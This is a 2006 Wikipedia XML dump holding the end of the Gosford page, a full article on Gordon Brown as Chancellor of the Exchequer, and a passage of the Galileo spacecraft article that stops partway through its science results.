* [http://www.centralcoaststadium.com.au/index.asp Central Coast Stadium website]

[[Category:Cities in New South Wales]]

[[ro:Gosford]]</text>
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  </page>
  <page>
    <title>Gordon Brown</title>
    <id>13076</id>
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        <username>Cmc0</username>
        <id>147656</id>
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      <comment>rv vandalism</comment>
      <text xml:space="preserve">''This article is about the [[United Kingdom|British]] [[Chancellor of the Exchequer]]. For the [[rugby union]] player of the same name, see [[Gordon Brown (rugby player)]]''
[[Image:Gordon Brown.jpg|thumb|The Rt Hon. Gordon Brown]]
[[The Right Honourable]] '''James Gordon Brown''' (born [[20 February]] [[1951]]) is a [[Scotland|Scottish]] [[Labour Party (UK)|Labour Party]] politician. He was [[Member of Parliament#United Kingdom|MP]] for [[Dunfermline East (UK Parliament constituency)|Dunfermline East]] from [[United Kingdom general election, 1983|1983]] - [[United Kingdom general election, 2005|2005]], then [[Kirkcaldy and Cowdenbeath (UK Parliament constituency)|Kirkcaldy and Cowdenbeath]] from [[United Kingdom general election, 2005|2005]] following a major revision in the composition of parliamentary constituencies in Scotland. Brown has served as [[Chancellor of the Exchequer]] of the [[United Kingdom]] since May [[1997]] (the longest continuously serving Chancellor since [[Nicholas Vansittart, 1st Baron Bexley|Nicholas Vansittart]] [[1812]]-[[1823]]) and is widely tipped to become [[Prime Minister of the United Kingdom|Prime Minister]] after the retirement of [[Tony Blair]].

==Early and private life==
Brown was born in [[Glasgow]] and educated at [[Kirkcaldy High School]], [[Fife]]. His father, John, was a [[Church of Scotland]] [[Minister (religion)|minister]]. While at school he suffered [[detached retina]]s in a [[rugby union|rugby]] accident and now has an artifical left eye. Brown read History at the [[University of Edinburgh]], graduating with [[First Class Honours]].  Brown would stay at [[Edinburgh]] to complete his [[PhD|Doctorate]] on [[radical]] Labour Party politician, [[James Maxton]].

Even before entering [[Parliament of the United Kingdom|Parliament]], Brown had achieved some prominence: he was elected [[Rector]][http://news.bbc.co.uk/1/hi/uk_politics/4683799.stm] of the University of Edinburgh and Chairman of the University Court while still a student, and edited &quot;The Red Paper on Scotland&quot;[http://www.redpaper.net/about.htm]. Brown lectured at that university and then at [[Glasgow Caledonian University|Glasgow College of Technology]] before working as a journalist at [[Scottish Television]]. In the 1979 general election, Brown fought the [[Edinburgh South]] constituency, but lost to the [[Conservative]] candidate, [[Michael Ancram]]. In [[1986]], he published a [[biography]] of the [[Independent Labour Party]] politician James Maxton - the subject of his PhD thesis.

Brown married [[Sarah Macaulay]] at his home in [[North Queensferry]], Fife, on [[3 August]] [[2000]] after a four-year courtship. Mrs Brown is a public relations executive and was, until 2001, Chief Executive of [[Hobsbawm Macaulay]], the consultancy firm she owned with [[Julia Hobsbawm]]. On [[28 December]] [[2001]], a daughter, Jennifer Jane, was born prematurely; she died on [[8 January]] [[2002]]. Their second child, a son, John, was born on [[17 October]] [[2003]]. In January [[2006]] it was announced that they were expecting a third child in July.  

Brown is a [[Raith Rovers F.C.]] supporter, a team he has supported since boyhood and a member of the consortium which led a community buy out of the club in December 2005. 

Brown's brother is [[Andrew Brown]], a PR consultant for British utility company [[EDF Energy]]

==Early Parliamentary career==
He was elected to Parliament as a Labour MP for [[Dunfermline East (UK Parliament constituency)|Dunfermline East]] in 1983, becoming opposition spokesman on Trade and Industry in 1985, then [[Shadow Cabinet|Shadow]] [[Chief Secretary to the Treasury]] and Shadow [[Secretary of State for Trade and Industry]], before becoming Shadow Chancellor in 1992.

After the sudden death of [[John Smith (UK politician)|John Smith]], Brown was tipped as a potential party leader, but he stepped aside and allowed [[Tony Blair]] to become leader. It has long been rumoured that a deal was struck between the two men at the [[Granita (restaurant)|Granita]] restaurant in [[Islington]], that Blair promised to give Brown complete control of economic policy in return for Brown not standing against him in the election, and that he would retire at some future date, allowing Brown to become [[Prime Minister]]. Whether this is true or not, the relationship between Blair and Brown has been central to the fortunes of &quot;[[Labour Party (UK)#New Labour|New Labour]]&quot;, and they have by and large remained united in public despite reported rifts.

As Shadow Chancellor, Brown worked hard to establish an image of fiscal competence, and to reassure business and the middle class that Labour could be trusted to run the economy without fuelling [[inflation (economics)|inflation]]. &quot;Prudence&quot; became Brown's catchphrase in his early years, and he cultivated a dour and even miserly air, though he is apparently known to friends and constituents as a good-humoured and even romantic man. He also committed Labour to following the Conservatives' spending plans for the first two years after taking power; his 2000 Spending Review foreshadowed a large expansion of government spending.

==Chancellor of the Exchequer==
[[Image:Gordonbrown.jpg|thumb|300px|Gordon Brown speaking at the [[Urban Summit]] in [[2002]]]]
On taking office as [[Chancellor]], Brown sprung a surprise by giving the [[Bank of England]] operational independence in the conduct of monetary policy, and thus responsibility for setting interest rates - a policy devised by [[Ed Balls]], his longtime chief economic adviser and now an MP. While he has adhered to Labour's election pledge to make no increases to the standard or higher rates of [[income tax]], he has raised taxes in other ways. In his April 2002 budget, he raised [[national insurance]] to pay for health spending. His other crackdowns on 'tax loopholes' has raised the UK tax burden from 39.3% of GDP in 1997 to 42.4% in 2006, according to the [[OECD]], overtaking Germany. [http://www.oecd.org/dataoecd/5/51/2483816.xls]. To have achieved this result with only one explicit tax rise has fuelled accusations of his imposing [[stealth tax]]es. Brown points to two accomplishments: growth and employment. An OECD report shows[http://www.oecd.org/document/61/0,2340,en_2649_201185_2483901_1_1_1_1,00.html] that, between 1997 and 2006, UK economic growth has averaged 2.7% - higher than the Eurozone's 2.1% but lower than any English-speaking country. UK unemployment is 5.1%, down from 7% in 1997 and lower than the Eurozone's 8.1%. 

In [[2001]] Brown sold 60% of the UK's [[gold reserves]]. The decision was latterly criticised as the price later picked up from what then 20-year lows meaning Brown could have raised £2 billion extra for the sale had he waited. [http://business.scotsman.com/index.cfm?id=2313142005]. [http://www.gata.org/uk_gold_sale_fury.html].

In October 1997, he took control of Britain's membership of the European single currency saying the Treasury would set five economic tests [http://www.guardian.co.uk/EMU/Story/0,2763,375315,00.html] to ascertain whether the economic case had been made. He declared in June 2003 [http://news.bbc.co.uk/1/hi/uk_politics/2975560.stm] they had not been met. 

Brown's lengthy period as Chancellor of the Exchequer has set several records. He is the longest-serving Labour Chancellor of the Exchequer (ahead of [[Denis Healey]], who was Chancellor for 5 years and 2 months from [[5 March]] [[1974]] to [[4 May]] [[1979]]). On [[15 June]] [[2004]], he became the longest continuous serving Chancellor of the Exchequer since the [[Reform Act 1832]], passing the figure of 7 years and 43 days set by [[David Lloyd George]] ([[1908]]&amp;ndash;[[1915]]). However, [[William Gladstone]] was Chancellor for a total of 12 years and 4 months in the period from 1852 to 1882 (although not continuously). As he has commented upon on several occasions, his Chancellorship has overseen the longest period of sustained economic growth in the UK which started in 1993 on Britain's exit from the [[Exchange Rate Mechanism]].

In October 2004 [[Tony Blair]] announced he would not lead the party into a fourth general election, but would serve out a full third term. Brown has for some time promoted the cause of acting to reduce [[Third World debt]] and following the [[Asian Tsunami Disaster]] this has positioned Brown well inside the curve of popular opinion in the UK. Political controversy over the relationship between Brown and Blair in advance of the prospective [[United Kingdom general election, 2005|UK general election, 2005]] continued up to that election, when Blair won a reduced majority and then confirmed that he would not fight the next general election.

The two appear for the time being to have put their differences behind them. The Labour party even produced an election broadcast, showing the two debating policy and making jokes about their 'troubled' relationship. Continued reports of disagreements still appear in the British media, though.

In [[2005]] Brown was listed in [[Time Magazine]]'s annual list of the 100 most influential people in the world: Blair did not feature. This could be attributed to the widespread expectation that Brown has no serious rivals as the next Prime Minister.  He is very pro-American and holidayed in [[Cape Cod]] until the birth of his son.  Particularly impressed with American patriotism he has tried to make Britain more patriotic, recently saying that [[Remembrance Day]] should become 'British Day' to take the flag back from the far-right and bring about a more patriotic atmosphere in [[Britain]]. He has also put forward proposals for a [[veterans Day]], thought to be similar to that of the American [[federal]] holiday, although nothing has been decided upon yet. 

These proposals and and recent appearances are widely interpreted as preparation for when Gordon Brown becomes [[Prime Minister]] and so make him appear to be of more 'leadership material' - and to replace his Scottish identity with a British one in the public mind. Blair, however, has made no indication that he is preparing to step down. However the Labour defeat in [[Dunfermline and West Fife by-election, 2006|Dunfermline and West Fife]] in the 2006 byelection, after a campaign largely led by Brown (and covering the constituency in which he lives) raised some speculation about his ability to win elections.

==Notes==
#[http://news.bbc.co.uk/1/hi/uk_politics/4683799.stm Gordon Brown as Rector at Edinburgh University]
#[http://newswww.bbc.net.uk/1/hi/uk_politics/4502252.stm BBC News]
#[http://www.boston.com/news/globe/editorial_opinion/oped/articles/2005/03/25/hot_air_and_global_warming/ Boston Globe - Brown's views on global warming]
#[http://newsimg.bbc.co.uk/1/shared/vote2005/html/712.stm 2005 election results page for Kirkcaldy &amp; Cowdenbeath]
#[http://www.alba.org.uk/dunfermline/dunfermline333.html Labour lose in Brown's home constituency?]

==Bibliography==
===Works===
*Brown, Gordon (1989). ''Where There's Greed: Margaret Thatcher and the Betrayal of Britain's Future.'' Mainstream Publishing. ISBN 1851582282.
*Brown, Gordon (ed.); Cook, Robin (ed.) (1987). ''Scotland: The Real Divide - Poverty and Deprivation in Scotland.'' Mainstream Publishing. ISBN 0906391180. 
*Brown, Gordon (1986). ''Maxton: A Biography.'' Mainstream Publishing. ISBN 1851580425.

===Biographies=== 
*Peston, Robert (2005). ''Brown's Britain: How Gordon Runs the Show.'' Short Books. ISBN 1904095674. 
*Bower, Tom (2003). ''Gordon Brown.'' HarperCollins. ISBN 000717540X.
*Keegan, William (2003). ''The Prudence of Mr Gordon Brown.'' John Wiley. ISBN 0470846976.
*[[James Naughtie|Naughtie, James]] (2001). ''The Rivals: The Intimate Story of a Political Marriage.'' Fourth Estate. ISBN 1841154733.
*Routledge, Paul (1998). ''Gordon Brown: The Biography.'' Simon &amp; Schuster. ISBN 0684819546.

===Others===
*Rawnsley, Andrew (2001). ''Servants of the people: The inside story of New Labour.'' Penguin Books. ISBN 0140278508.

==See also==
* [[Blair Brown Deal]]
* [[54th United Kingdom general election|54th UK general election]]
* [[United Kingdom general election, 2005|UK general election, 2005]]
* [[United Kingdom general election, 2001|UK general election, 2001]]
* [[United Kingdom general election, 1997|UK general election, 1997]]
* [[United Kingdom general election, 1992|UK general election, 1992]]
* [[United Kingdom general election, 1987|UK general election, 1987]]
* [[United Kingdom general election, 1983|UK general election, 1983]]

==External links==
* [http://www.hm-treasury.gov.uk/about/ministerial_profiles/minprofile_brown.cfm HM Treasury - Rt Hon Gordon Brown MP, Chancellor of the Exchequer]
* [http://www.number-10.gov.uk/output/Page1378.asp 10 Downing Street - Chancellor of the Exchequer, The Rt Hon Gordon Brown MP]
* [http://politics.guardian.co.uk/person/0,9290,-644,00.html Guardian Unlimited Politics - Ask Aristotle: Gordon Brown MP]
*[http://www.theyworkforyou.com/mp/gordon_brown/kirkcaldy_and_cowdenbeath TheyWorkForYou.com - Gordon Brown]
*[http://news.bbc.co.uk/2/hi/uk_news/politics/4177281.stm BBC News - Tour diary: Gordon Brown in Africa] January 2005 trip about his 'Marshall plan for Africa'
*[http://dmoz.org/Regional/Europe/United_Kingdom/Scotland/Society_and_Culture/Politics/Parties/Labour/MPs/Brown,_Gordon/ Open Directory Project - ''Gordon Brown''] directory category


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  <page>
    <title>Galileo spacecraft</title>
    <id>13077</id>
    <revision>
      <id>42067544</id>
      <timestamp>2006-03-03T16:16:39Z</timestamp>
      <contributor>
        <username>Vicarious</username>
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      <comment>/* Tape recorder anomalies and remote repair */</comment>
      <text xml:space="preserve">[[Image:Galileo preparations.jpg|thumb|260px|Galileo is prepared for mating with the [[Inertial Upper Stage|IUS]] booster]]
[[image:Galileo_probe_deployed_(large).jpg|right|thumb|260px|''Galileo'' being deployed after being launched by the [[Space Shuttle Atlantis]] on the [[STS-34]] mission]]

'''''Galileo''''' was an [[Unmanned space missions|unmanned spacecraft]] sent by [[NASA]] to study the [[planet]] [[Jupiter (planet)|Jupiter]] and its [[natural satellite|moon]]s. Named after the [[astronomer]] and [[Renaissance]] man [[Galileo Galilei]], it was launched on [[October 18]], [[1989]] by the [[Space Shuttle Atlantis|Space Shuttle ''Atlantis'']] on the [[STS-34]] mission. It arrived at Jupiter on [[December 7]], [[1995]], a little more than six years later, via gravitational assist flybys of [[Venus (planet)|Venus]] and [[Earth]].

The Galileo spacecraft conducted the first [[asteroid]] flyby, discovered the first [[asteroid moon]], was the first spacecraft to maintain permanent orbit around Jupiter and launched the first probe into Jupiter's [[celestial body atmosphere|atmosphere]].

On [[September 21]], [[2003]], after 14 years in space and 8 years of service in the [[Jovian system]], ''Galileo'''s mission was terminated by sending the orbiter into Jupiter's atmosphere at a speed of nearly 50 kilometres per second to avoid any chance of it contaminating local moons with [[bacterium|bacteria]] from [[Earth]]. Of particular concern was the [[ice]]-crusted moon [[Europa (moon)|Europa]], which, thanks to ''Galileo'', scientists now suspect harbors a salt water [[ocean]] beneath its surface.

==Mission overview==

''Galileo'''s launch had been significantly delayed by the hiatus in [[Space Shuttle]] launches that occurred after the [[Space Shuttle Challenger|Space Shuttle ''Challenger'']] disaster. New safety protocols introduced as a result of the Challenger accident forced Galileo to use a lower-powered upper stage booster rocket, instead of a [[Centaur (rocket stage)|Centaur]] booster rocket, to send it from [[Earth]] [[orbit]] to Jupiter; several [[gravitational slingshot]]s (once by [[Venus (planet)|Venus]] and twice by [[Earth]]), commonly called a &quot;[[VEEGA]]&quot; or Venus Earth Earth Gravity Assist maneuver, provided the additional velocity required to reach its destination. Along the way Galileo performed close observation of the asteroids [[951 Gaspra]] ([[October 29]], [[1991]]) and [[243 Ida]], and discovered Ida's moon [[Dactyl (asteroid)|Dactyl]]. In 1994 ''Galileo'' was perfectly positioned to watch the fragments of [[comet Shoemaker-Levy 9]] crash into Jupiter. Terrestrial telescopes had to wait to see the impact sites as they rotated into view.

''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s prime mission was a two-year study of the Jovian system. The spacecraft traveled around Jupiter in elongated [[ellipse]]s, each orbit lasting about two months. The differing distances from Jupiter afforded by these orbits allowed Galileo to sample different parts of the planet's extensive [[magnetosphere]]. The orbits were designed for close up flybys of Jupiter's largest moons. Once ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s prime mission was concluded, an extended mission followed starting on [[December 7]], [[1997]]; the spacecraft made a number of daring close flybys of Jupiter's moons [[Europa (moon)|Europa]] and [[Io (moon)|Io]]. The closest approach was 180 km (112 mi) on [[October 15]], [[2001]]. The [[radiation]] environment near Io in particular was very unhealthy for ''Galileo'''s systems, and so these flybys were saved for the extended mission when loss of the spacecraft would be more acceptable.

''Galileo'''s cameras were deactivated on [[January 17]], [[2002]] after they had sustained irrecoverable radiation damage. NASA engineers were able to recover the damaged tape recorder electronics, and once more ''Galileo'' continued to return other scientific data until it was deorbited in [[2003]] as described above, performing one last scientific experiment &amp;mdash;a measurement of [[Amalthea (moon)|Amalthea]]'s mass as ''Galileo'' swung by.

==The Galileo spacecraft==
[[Image:Galileo Diagram simpler.jpg|thumb|right|250px|Overview of ''Galileo'''s components]]

The [[Jet Propulsion Laboratory]] built the ''Galileo'' spacecraft and managed the ''Galileo'' mission for NASA. [[Germany]] supplied the propulsion module. NASA's [[Ames Research Center]] managed the probe, which was built by [[Hughes Aircraft Company]].

At launch, the orbiter and probe together had a mass of 2,564 [[kilogram]]s (5,653 [[Pound (weight)|pound]]s) and was seven [[metre]]s tall. One section of the spacecraft rotated at 3&amp;nbsp;[[rpm]], keeping ''Galileo'' stable and holding six instruments that gathered data from many different directions, including the fields and particles instruments. The other section of the spacecraft held steady for [[camera]]s and the four instruments that had to point accurately while ''Galileo'' was flying through space. This was the job of the [[attitude control]] system (see below). In addition to computer programs which directly operated the spacecraft and were periodically transmitted to it, back on the ground the mission operations team used software containing 650,000 lines of programming code in the orbit sequence design process; 1,615,000 lines in the telemetry interpretation; and 550,000 lines of code in navigation.

The spacecraft was controlled by a [[RCA 1802]] Cosmac [[microprocessor]] [[central processing unit|CPU]], clocked at about 1.6 MHz, and fabricated on [[sapphire]] ([[Silicon on Sapphire]]) which is a radiation-and static-hardened material ideal for spacecraft operation. This microprocessor was the first low-power [[CMOS]] processor chip, quite on a par with the 8-bit [[6502]] that was being built into the [[Apple II]] desktop computer at that time. ''Galileo'''s attitude control system software was written in the [[HAL/S]] programming language, also used in the [[Space Shuttle program]]. The 1802 CPU had previously been used onboard the [[Voyager program|Voyager]] and [[Viking program|Viking]] spacecraft.

===Propulsion===
The Propulsion Subsystem consisted of a 400 [[newton|N]] main engine and twelve 10 N thrusters together with propellant, storage and pressurizing tanks, and associated plumbing. The fuel for the system was 925 kg of monomethyl [[hydrazine]] and [[nitrogen tetroxide]]. Two separate tanks held another 7 kg of [[helium]] pressurant. The Propulsion Subsystem was developed and built by Daimler Benz Aero Space AG (DASA) (formerly Messerschmitt–Bolkow–Blohm) and provided by [[Germany]], the major international partner in Project Galileo [http://www.resa.net/nasa/engineer.htm].

===Galileo's power===
[[Solar panels]] were not a practical solution for ''Galileo'''s power needs at Jupiter's distance from the Sun (it would have needed a ''minimum'' of 65 square metres (700 ft&amp;sup2;) of solar panels); as for batteries, they would have been prohibitively massive. The solution adopted consisted of two [[radioisotope thermoelectric generator]]s (RTGs). The RTGs powered the spacecraft through the radioactive decay of [[plutonium]]-238. The heat emitted by this decay was converted into electricity for the spacecraft through the solid-state [[Seebeck effect]]. This provided a reliable and long-lasting source of electricity unaffected by the cold space environment and high radiation fields such as those encountered in Jupiter's magnetosphere.

Each RTG, mounted on a 5-metre long boom, carried 7.8 kilograms (17.2 lb) of &lt;sup&gt;238&lt;/sup&gt;Pu [http://www2.jpl.nasa.gov/galileo/messenger/oldmess/RTG.html]. Each RTG contained 18 separate heat source modules, and each module encased four pellets of plutonium dioxide, a [[ceramic]] material resistant to fracturing. The modules were designed to survive a range of hypothetical accidents: launch vehicle explosion or fire, re-entry into the atmosphere followed by land or water impact, and post-impact situations. An outer covering of [[graphite]] provided protection against the structural, thermal, and eroding environments of a potential re-entry. Additional graphite components provided impact protection, while [[iridium]] cladding of the fuel cells provided post-impact containment. The RTGs produced about 570 watts at launch. The power output initially decreased at the rate of 0.6 watts per month and was 493 watts when Galileo arrived at Jupiter.

As the launch of Galileo neared, anti-nuclear groups, concerned over what they perceived as an unacceptable risk to the public safety from Galileo's RTGs, sought a court injunction prohibiting Galileo's launch. In fact, RTGs had been safely used for years before in planetary exploration. The [[Lincoln Experimental Satellite]]s 8/9, launched by the U.S. [[Department of Defense]], had 7% more plutonium on board than Galileo, and the two [[Voyager spacecraft]] each carried 80% as much plutonium as Galileo did.

After the Challenger accident, a study considered additional shielding and eventually rejected it, in part because such a design significantly increased the overall risk of mission failure and only shifted the other risks around (for example, if a failure on orbit had occurred, additional shielding would have significantly increased the consequences of a ground impact) [http://www2.jpl.nasa.gov/galileo/messenger/oldmess/RTG.html].

===Instrumentation overview===
Scientific instruments to measure fields and particles were mounted on the spinning section of the spacecraft, together with the main [[antenna (electronics)|antenna]], power supply, the propulsion module and most of the [[galileo computer]]s and control electronics. The sixteen instruments, weighing 118 kg altogether, included [[magnetometer]] sensors mounted on an 11 m boom to minimize interference from the spacecraft; a [[Plasma physics|plasma]] instrument for detecting low energy charged particles and a plasma wave detector to study waves generated by the particles; a high energy particle detector; and a detector of cosmic and Jovian [[dust]]. It also carried the Heavy Ion Counter, an engineering experiment added to assess the potentially hazardous charged particle environments the spacecraft flew through, and an added Extreme [[Ultraviolet]] detector associated with the UV spectrometer on the scan platform.

The despun section's instruments included the camera system; the near [[infrared]] mapping spectrometer to make multi-spectral images for atmospheric and moon surface chemical analysis; ultraviolet spectrometer to study gases; and photo-polarimeter radiometer to measure radiant and reflected energy. The camera system was designed to obtain images of Jupiter's satellites at resolutions from 20 to 1,000 times better than [[Voyager program|''Voyager'']]'s best, because ''Galileo'' flew closer to the planet and its inner moons and because the [[Charge-coupled device|CCD]] sensor in ''Galileo'''s camera was more sensitive and had a broader color detection band than the [[vidicon]]s of ''Voyager''.

===Instrumentation details===
The following information was taken directly from NASA's Galileo [http://galileo.jpl.nasa.gov/resources.cfm legacy site].

====Despun section====
[[Image:Galileo_spacecraft_instrumentation_high_detail.gif|thumb|right|350px|Highly detailed diagram of ''Galileo'' instruments and subsystems.]]
=====Solid State Imager (SSI)=====
The SSI is an 800 by 800 pixel solid state camera consisting of an array of silicon sensors called a &quot;charge coupled device&quot; ([[Charge-coupled device|CCD]]). The optical portion of the camera is built as a [[Cassegrain telescope]]. Light is collected by the primary mirror and directed to a smaller secondary mirror that channels it through a hole in the center of the primary mirror and onto the CCD. The CCD sensor is shielded from [[radiation]], a particular problem within the harsh Jovian magnetosphere. The shielding is accomplished by means of a 10 mm thick layer of [[tantalum]] surrounding the CCD except where the light enters the system. An eight position filter wheel is used to obtain images at specific wavelenghts. The images are then combined electronically on Earth to produce color images. The spectral response of the SSI ranges from about 0.4 to 1.1 micrometres. The SSI weighs 29.7 kilograms and consumes, on average, 15 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/ssi.html] SSI Imaging Team site:[http://www2.jpl.nasa.gov/galileo/sepo/]

=====Near-Infrared Mapping Spectrometer (NIMS)=====
The NIMS instrument is sensitive from 0.7 to 5.2 [[micrometre]] wavelength [[IR]] light, overlapping the wavelength range of SSI. The telescope associated with NIMS is all reflective (uses mirrors and no lenses) with an aperture of 229 mm. The spectrometer of NIMS uses a grating to disperse the light collected by the telescope. The dispersed spectrum of light is focused on detectors of [[indium]] [[antimonide]] and [[silicon]]. The NIMS weighs 18 kilograms and uses 12 watts of power on average. [http://www2.jpl.nasa.gov/galileo/instruments/nims.html] NIMS Team site:[http://jumpy.igpp.ucla.edu/~nims/]

=====Ultraviolet Spectrometer / Extreme Ultraviolet Spectrometer (UVS/EUV)=====
The [[Cassegrain telescope]] of the UVS has a 250 mm aperture and collects light from the observation target. Both the UVS and EUV instruments use a ruled [[grating]] to disperse this light for spectral analysis. This light then passes through an exit slit into [[photomultiplier]] tubes that produce pulses or &quot;sprays&quot; of electrons. These electron pulses are counted, and these count numbers are the data that are sent to Earth. The UVS is mounted on the scan platform and can be pointed to an object in inertial space. The EUV is mounted on the spun section of the spacecraft. As Galileo spins, the EUV observes a narrow ribbon of space perpendicular to the spin axis. The two instruments combined weigh about 9.7 kilograms and use 5.9 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/euv.html] EUV Team site:[http://lasp.colorado.edu/galileo/]

=====Photopolarimeter-Radiometer (PPR)=====
The PPR has seven radiometry bands. One of these uses no filters and observes all the radiation, both solar and thermal. Another band lets only solar radiation through. The difference between the solar- plus-thermal and the solar-only channels gives the total thermal radiation emitted. The PPR also measured in five broadband channels that span the spectral range from 17 to 110 micrometres. The radiometer provides data on the temperatures of the Jovian satellites and Jupiter's atmosphere. The design of the instrument is based on that of an instrument flown on the Pioneer Venus spacecraft. A 100 mm aperture reflecting telescope collects light, directs it to a series of filters, and, from there, measurements are performed by the detectors of the PPR. The PPR weighs 5.0 kilograms and consumes about 5 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/ppr.html] PPR Team site:[http://www.lowell.edu/users/ppr/]

====Spun section====

=====Dust Detector Subsystem (DDS)=====
The Dust Detector Subsystem (DDS) was used to measure the mass, electric charge, and velocity of incoming particles. The masses of dust particles that the DDS can detect go from 10&lt;sup&gt;-16&lt;/sup&gt; to 10&lt;sup&gt;-7&lt;/sup&gt; grams. The speed of these small particles can be measured over the range of 1 to 70 kilometers per second. The instrument can measure impact rates from 1 particle per 115 days (10 megaseconds) to 100 particles per second. These particles will help determine dust origin and dynamics within the [[magnetosphere]]. The DDS weighs 4.2 kilograms and uses an average of 5.4 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/dds.html] DDS Team site:[http://www.mpi-hd.mpg.de/dustgroup/galileo/galileo.html]

=====Energetic Particles Detector (EPD)=====
The energetic particles detector (EPD) is designed to measure the numbers and energies of ions and electrons whose energies exceed about 20 [[keV]] (3.2 fJ). The EPD can also measure the direction of travel of such particles and, in the case of ions, can determine their composition (whether the ion is [[oxygen]] or [[sulfur]], for example). The EPD uses silicon solid state detectors and a [[time-of-flight]] detector system to measure changes in the energetic particle population at Jupiter as a function of position and time. These measurements will tell us how the particles get their energy and how they are transported through Jupiter's magnetosphere. The EPD weighs 10.5 kilograms and uses 10.1 watts of power on average.[http://www2.jpl.nasa.gov/galileo/instruments/epd.html] EPD Team site:[http://sd-www.jhuapl.edu/Galileo_EPD/]

=====Heavy Ion Counter (HIC)=====
The HIC is really a repackaged and updated version of some parts of the flight spare of the [[Voyager program|Voyager]] Cosmic Ray System. The HIC detects heavy [[ion]]s using stacks of single crystal silicon wafers. The HIC can measure heavy ions with energies as low as 6 MeV (1 pJ) and as high as 200 MeV (32 pJ) per nucleon. This range includes all atomic substances between [[carbon]] and [[nickel]]. The HIC and the EUV share a communications link and, therefore, must share observing time. The HIC weighs 8 kilograms and uses an average of 2.8 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/hic.html] HIC Team site:[http://www.srl.caltech.edu/galileo/galHIC.html]

=====Magnetometer (MAG)=====
The [[magnetometer]] (MAG) uses two sets of three sensors. The three sensors allow the three orthogonal components of the [[magnetic field]] section to be measured. One set is located at the end of the magnetometer boom and, in this position, is about 11 m from the spin axis of the spacecraft. The second set, designed to detect stronger fields, is 6.7 m from the spin axis. The boom is used to remove the MAG from the immediate vicinity of the spacecraft to minimize magnetic effects from the spacecraft. However, not all these effects can be eliminated by distancing the instrument. The rotation of the spacecraft is used to separate natural magnetic fields from engineering induced fields. Another source of potential error in measurement comes from bending and twisting of the long magnetometer boom. To account for these motions, a calibration coil is mounted rigidly on the spacecraft and puts out a reference magnetic field during calibrations. The magnetic field at the surface of the Earth has a strength of about 50,000 [[nanotesla|nT]]. At Jupiter, the outboard (11 m) set of sensors can measure magnetic field strengths in the range from &amp;plusmn;32 to &amp;plusmn;512 nT while the inboard (6.7 m) set is active in the range from &amp;plusmn;512 to &amp;plusmn;16,384 nT. The MAG experiment weighs 7 kilograms and uses 3.9 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/mag.html] MAG Team site:[http://www.igpp.ucla.edu/galileo/]

=====Plasma Subsystem (PLS)=====
The PLS uses seven fields of view to collect [[Particle radiation|charged particle]]s for energy and mass analysis. These fields of view cover most angles from 0 to 180 degrees, fanning out from the spin axis. The rotation of the spacecraft carries each field of view through a full circle. The PLS will measure particles in the energy range from 0.9 eV to 52 keV (0.1 aJ to 8.3 fJ). The PLS weighs 13.2 kilograms and uses an average of 10.7 watts of power.[http://www2.jpl.nasa.gov/galileo/instruments/pls.html] PLS Team site:[http://www-pi.physics.uiowa.edu/www/pls/]

=====Plasma Wave Subsystem (PWS)=====
An electric [[dipole antenna]] is used to study the electric fields of [[Plasma physics|plasma]]s, while two search coil magnetic antennas studied the magnetic fields. The electric dipole antenna is mounted at the tip of the magnetometer boom. The search coil magnetic antennas are mounted on the high-gain antenna feed. Nearly simultaneous measurements of the electric and magnetic field spectrum allowed electrostatic waves to be distinguished from electromagnetic waves. The PWS weighs 7.1 kilograms and uses an average of 9.8 watts.[http://www2.jpl.nasa.gov/galileo/instruments/pws.html] PWS Team site:[http://www-pw.physics.uiowa.edu/plasma-wave/galileo/home.html]
[[Image:Galileo_atmospheric_probe.jpg|thumb|left|300px|Timeline of Galileo atmospheric entry probe. (The Probe transmitted data to the Orbiter continuously for 57.6 minutes reaching a depth of 23 bars (2.3 MPa) but the relay link to the Orbiter began at four minutes after entry, so transmission ended 61.4 minutes after entry.)]]

==Galileo's atmospheric entry probe==

The 339 kilogram atmospheric probe measured about 1.3 meters across. Inside the [[heat shield]], the scientific instruments were protected from ferocious heat during entry. The probe had to withstand extreme heat and pressure on its high speed journey at 47.8 km/s. The probe was released from the main spacecraft in July 1995, five months before reaching Jupiter, and entered Jupiter's atmosphere with no braking beforehand. It was slowed from the probe's arrival speed of about 47 kilometers per second to subsonic speed in less than 2 minutes.[[Image:Galileo_atmospheric_entry_probe_diagram.jpg|thumb|200px|right|Diagram of Galileo atmospheric entry probe instruments and subsystems.]]It then deployed its 2.5-meter (8-foot) [[parachute]], and dropped its [[heat shield]]. As the probe descended through 150 kilometers of the top layers of the atmosphere, it collected 58 minutes of data on the local [[weather]]. The data was sent to the spacecraft overhead, then transmitted back to Earth. Each of 2 L-band transmitters operated at 128 bits per second and sent nearly identical streams of scientific data to the orbiter. All the probe's electronics were powered by [[lithium]] sulfur dioxide (LiSO&lt;sub&gt;2&lt;/sub&gt;) batteries which provided a nominal power output of about 580 watts with an estimated capacity of about 21 ampere-hours on arrival at Jupiter. The probe included six instruments for taking data on its plunge into Jupiter. The instruments were: an atmospheric structure instrument group measuring temperature, pressure and deceleration; a neutral mass spectrometer and a helium-abundance interferometer supporting atmospheric composition studies; a nephelometer for cloud location and cloud-particle observations; a net-flux radiometer measuring the difference in flux upward versus downward in radiant energy flux at each altitude and a lightning/radio-emission instrument with an energetic-particle detector which measured light and radio emissions associated with lightning and energetic particles in Jupiter's radiation belts. Total data returned from the probe was about 3.5 megabits. The probe stopped transmitting before the line of sight link with the orbiter was cut. The likely proximal cause of the final probe failure was overheating, which sensors indicated before signal loss. The atmosphere as the probe descended was somewhat more turbulent and hotter than expected. The probe would have been melted and vaporized after a few hours of falling, completely dissolving into Jupiter's hot, dense lower atmosphere.

==Science performed by the Galileo Orbiter at Jupiter==

After arriving on [[December 7]], [[1995]] and completing 35 orbits around Jupiter throughout a nearly eight year mission, the Galileo Orbiter was destroyed during a controlled impact with Jupiter on [[September 21]], [[2003]]. During that intervening time, Galileo forever changed the way scientists saw Jupiter and provided a wealth of information on the moons orbiting the planet which will be studied for years to come. Culled from NASA's press kit, the top orbiter science results were:

1. Galileo made the first observation of [[ammonia]] clouds in another planet's atmosphere. The atmosphere creates ammonia ice particles from material coming up from lower depths.

